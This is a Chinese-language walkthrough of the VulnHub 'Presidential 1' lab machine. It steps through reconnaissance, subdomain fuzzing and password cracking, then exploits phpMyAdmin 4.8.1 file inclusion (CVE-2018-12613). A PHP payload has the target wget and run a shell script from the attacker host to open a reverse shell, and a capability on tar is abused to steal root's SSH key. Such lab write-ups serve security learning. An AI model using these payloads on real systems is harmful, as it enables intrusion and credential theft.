环境搭建
官网地址：https://www.vulnhub.com/entry/presidential-1,500/
靶机下载地址： https://download.vulnhub.com/presidential/Presidential.ova.torrent
靶机下载完成后将.ova文件导入VMWare
网卡设置为NET模式
环境：
kali：192.168.164.137
Presidential：192.168.164.178
信息收集
扫描主机
nmap -sP 192.168.164.0/24
得到目标靶机的ip地址为192.168.102.134
接着进行端口扫描
nmap -A 192.168.164.178 -p 1-65535
扫描得到目标靶机开放了80端口和2082端口，分别为http和ssh端口
访问80端口：
进行指纹识别：
whatweb http://192.168.164.178
可获得一些信息，php版本，Apache版本等。
使用dirsearch扫描该网站
./dirsearch.py -u http://192.168.164.178 -e*
扫到了一个config.php但是里面什么也没有，还有一个.bak备份文件，访问为空白，习惯性ctrl+u查看源码:
获得了数据库的配置信息，包括数据库用户名，用户密码等信息。但是服务器没有开启数据库端口，扫描目录也未发现登陆数据库的地方。这时候不难想到一个ip可能绑定多个域名，或许可以通过查找其子域名来发现突破点。
首页发现邮件信息：
votenow.local
将其添加到/etc/hosts中
可以正常访问:
接下来爆破子域名，使用subrake或wfuzz工具进行爆破。
wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local
找到一个datasafe的子域名
添加到host进行访问
输入获得的账户名及密码即可登录。
getshell
在users表中找到admin及加密了的一串密码
使用john进行解密
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt 1.txt
破解出来的密码为Stella尝试ssh登录一下
显示连接被拒绝。
可以通过phpmyadmin查看其版本为4.8.1
通过网络上搜索，发现存在本地文件包含漏洞(CVE-2018-12613)
首先执行
select '<?php phpinfo();exit;?>'
之后再包含session文件
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_3fel8hnjgqlpplu32s836aqgbhg990ib
可以看到成功执行了php代码，使用同样的方法进行反弹shell
先在kali的网站根目录创建一个shell.sh来供靶机下载
之后执行sql语句
select '<?php system("wget 192.168.164.137/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'
执行完后在kali中监听1100端口
提权
直接su提权试一下
根目录的notes.txt文件提示的大概意思就是让我们使用压缩的命令
使用tars
查看tar的位置
whereis tar
在浏览过程中发现了tarS命令，该命令应该就是提示中所指的新的压缩备份命令了
在linux中引入了capabilities 机制对 root 权限进行细粒度的控制，实现按需授权，从而减小系统的安全攻击面。与SUID相似，可以限制用户的权限。 查看文件系统中具有capabilities的文件进入文件位置
可以看到tarS命令具有 cap_dac_read_search功能。它可以绕过文件读权限检查，这样我们就可以读取任何我们想要读取的文件
我们可以通过读取root用户的SSH私钥来进行免密登陆
cd /tmp
tarS -cvf key.tar /root/.ssh/id_rsa
tar -xvf key.tar
cd root/.ssh
ssh -i id_rsa root@localhost -p 2082
